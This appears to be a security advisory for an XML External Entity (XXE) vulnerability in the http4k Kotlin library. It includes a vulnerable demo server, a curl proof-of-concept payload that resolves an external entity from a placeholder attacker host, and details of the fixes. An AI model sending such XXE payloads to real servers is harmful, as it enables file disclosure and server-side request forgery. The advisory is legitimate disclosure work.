Short summary of the problem. Make the impact and severity as clear as possible. For example: An unsafe deserialization vulnerability allows any unauthenticated user to execute arbitrary code on the server.
There is a potential XXE(XML External Entity Injection) vulnerability when http4k handling malicious XML contents within requests, which might allow attackers to read local sensitive information on server, trigger Server-side Request Forgery and even execute code under some circumstances.
Give all details on the vulnerability. Pointing to the incriminated source code is very helpful for the maintainer. https://github.com/http4k/http4k/blob/25696dff2d90206cc1da42f42a1a8dbcdbcdf18c/core/format/xml/src/main/kotlin/org/http4k/format/Xml.kt#L42-L46 XML contents is parsed with DocumentBuilder without security settings on or external entity enabled
Complete instructions, including specific configuration details, to reproduce the vulnerability.
import org.http4k.core.*
import org.http4k.format.Xml.xml
import org.http4k.server.Netty
import org.http4k.server.asServer
import org.w3c.dom.Document
fun main() {
val xmlLens = Body.xml().toLens()
// Create an HTTP handler
val app: HttpHandler = { request ->
try {
// Parse the incoming XML payload to a Document object
val xmlDocument: Document = xmlLens(request)
// Extract root element name or other details from the XML
val rootElementName = xmlDocument.documentElement.nodeName
// Create a response XML based on the extracted information
val responseXml = """
<response>
<message>Root element is: $rootElementName</message>
</response>
""".trimIndent()
// Respond with XML
Response(Status.OK).body(responseXml).header("Content-Type", "application/xml")
} catch (e: Exception) {
// Handle invalid XML or other errors
Response(Status.BAD_REQUEST).body("Invalid XML: ${e.message}")
}
}
// Start the server
val server = app.asServer(Netty(9000)).start()
println("Server started on http://localhost:9000")
}
<dependencies>
<dependency>
<groupId>org.jetbrains.kotlin</groupId>
<artifactId>kotlin-test-junit5</artifactId>
<version>1.9.0</version>
<scope>test</scope>
</dependency>
<dependency>
<groupId>org.junit.jupiter</groupId>
<artifactId>junit-jupiter-engine</artifactId>
<version>5.10.0</version>
<scope>test</scope>
</dependency>
<dependency>
<groupId>org.jetbrains.kotlin</groupId>
<artifactId>kotlin-stdlib</artifactId>
<version>1.9.0</version>
</dependency>
<dependency>
<groupId>org.http4k</groupId>
<artifactId>http4k-core</artifactId>
<version>5.40.0.0</version>
</dependency>
<!-- Http4k XML format -->
<dependency>
<groupId>org.http4k</groupId>
<artifactId>http4k-format-xml</artifactId>
<version>5.40.0.0</version>
</dependency>
<!-- http4k Netty -->
<dependency>
<groupId>org.http4k</groupId>
<artifactId>http4k-server-netty</artifactId>
<version>5.40.0.0</version>
</dependency>
</dependencies>
curl -X POST http://localhost:9000 -H "Content-Type: application/xml" -d "<?xml version=\"1.0\" encoding=\"UTF-8\"?><!DOCTYPE root [<!ENTITY xxe SYSTEM \"https://replace.with.your.malicious.website/poc\">]><root>&xxe;</root>"
What kind of vulnerability is it? Who is impacted? The servers that employ this XML parsing feature of http4k are vulnerable to this XXE vulnerability
The original fix shipped in v5.41.0.0 / v4.50.0.0 closed the documented external-entity attack class (SSRF, local-file disclosure, code execution) by setting ACCESS_EXTERNAL_DTD="", ACCESS_EXTERNAL_SCHEMA="", and isExpandEntityReferences=false on the default DocumentBuilderFactory.
A residual gap remained: the parser still accepted documents containing <!DOCTYPE> declarations even though external entity resolution was blocked. This left open billion-laughs-style internal entity expansion DoS attacks against any application using Body.xml() or Document.asXmlDocument() on untrusted XML.
v6.50.0.0 closes this residual by adding disallow-doctype-decl=true and FEATURE_SECURE_PROCESSING=true to defaultXmlParsingConfig. Any document containing a <!DOCTYPE> is now rejected at parse time.
| Version | Fixed Version |
|---|---|
>= 5.41.0.0, < 6.50.0.0 |
6.50.0.0 |
v6.x users should upgrade to v6.50.0.0. The patch is part of the v6.50.0.0 release; no separate backport is required for the v6 line. Older v5 / v4 users remain on the v5.41.0.0 / v4.50.0.0 fix (external-entity protection); the billion-laughs residual is fixed in those lines only via http4k EE LTS releases — contact enterprise@http4k.org if you need it.
| Date/time (UTC) | Notes |
|---|---|
| 31/05/2026 17:12 | Follow-up patch merged (commit c0cfaf5d63) with new tests for <!DOCTYPE> rejection and billion-laughs payload rejection |
| 31/05/2026 18:06 | http4k v6.50.0.0 released to Maven Central |
{
"cwe_ids": [
"CWE-200",
"CWE-611",
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2024-12-12T19:22:01Z",
"nvd_published_at": "2024-12-12T19:15:13Z",
"severity": "CRITICAL"
}